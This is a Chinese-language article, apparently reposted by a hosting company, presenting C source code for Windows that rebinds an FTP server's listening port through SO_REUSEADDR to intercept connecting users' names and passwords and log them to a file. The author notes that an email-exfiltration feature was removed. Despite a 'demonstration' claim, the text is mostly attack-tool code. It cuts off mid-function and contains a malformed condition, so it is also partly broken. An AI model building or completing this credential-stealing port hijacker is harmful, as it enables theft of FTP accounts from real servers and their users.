利用ftp服务程式本身设计的缺陷取得最高权限

后面所跟的程式代码,我是去掉了将帐号和密码发送到邮箱的功能的,只是将信息保存到LogFile.Dat这文档中去,这是由于这类代码不会有什么人是利用来做好事的,所以在线通知也就删除了比较好.

Codz:
//****************************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Hijack FTP Sever's Open Port And Steal The Connector's UserName And Pass
// Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1
// Compiled On: VC 6.0
// Others: This Code Is Only To Demonstrate The Danger Of An Application Allowing Its
// Communication Port To Be Re-Binded(Hijack In Other Word).
// If Your Box Is In A Lan,Don't Test It On Your Only Box Since It May Not Work
//****************************************************************************************
#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib,"wsock32.lib")

SOCKET ListenSocket = INVALID_SOCKET;
static CRITICAL_SECTION cs;
const char *LogFile = "c:/LogFile.Dat";

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port);
BOOL IsDigits(const char *String);
BOOL InitSocket();
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort);
BOOL HandleFTPRequest();
BOOL SaveInfo(const char *FileName,const char *Info);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize);
DWORD WINAPI FTPThread(LPVOID Para);
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

int main(int argc,char *argv[])
{
if (argc != 3) // Not Enough Parameters
{
// Show The Usage And Example,Then Exit The Program
printf("Usage: %s BindedIP ListenPort/n",argv[0]);
printf("Example: %s 192.168.0.1 21/n",argv[0]);
return 0;
}

InitializeCriticalSection(&cs);
StartHijack(argv[1],argv[2]); // We Are About to Hijack The Port
DeleteCriticalSection(&cs);
return 0;
}

//--------------------------------------------------------------------------------------------
// Purpose: To Create A Listening Socket
// Return Type: BOOLEAN
// Parameters:
// In: char UINT ListenPort --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort)
{
struct sockaddr_in Client;

ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Create Socket

if (ListenSocket == INVALID_SOCKET) // Fail To Create Socket
{
printf("Fail To Create Socket/n");
return FALSE;
}

memset(&Client, 0, sizeof(Client));
Client.sin_family = AF_INET;
Client.sin_port = htons(ListenPort);
Client.sin_addr.s_addr = inet_addr(IPToBind);

// Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other word)
BOOL bReUser = TRUE;
if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,sizeof(bReUser)) != 0)
{
closesocket(ListenSocket);
printf("Fail To Hijack The Port/n");
return FALSE;
}

// Bind Socket
if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client)) == INVALID_SOCKET)
{
closesocket(ListenSocket);
printf("Fail To Bind Port/n");
return FALSE;
}

// Listen On The Port
if (listen(ListenSocket,5) == INVALID_SOCKET)
{
closesocket(ListenSocket);
return FALSE;
}

return TRUE;
}// End Of CreateSocket()


//--------------------------------------------------------------------------------------------
// Purpose: To Check The Parameters And Start To Hijack
// Return Type: BOOLEAN
// Parameters:
// In: const char *Port --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port)
{
if (!InitSocket()) // Init Socket
{
printf("Fail To Init Socket/n");
return FALSE;
}
if (!IsDigits(Port)) // Check Whether It's Invalid Port
{
printf("Invalid Listen Port/n");
return FALSE;
}

UINT ListenPort = atoi(Port); // Get The Port
if (ListenPort <= 0
ListenPort > 65535)
{
printf("The Listen Port Is Out Of Bound/n");
return FALSE;
}

if (!CreateSocket(IPToBind,ListenPort)) // Create A TCP Listening Socket

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!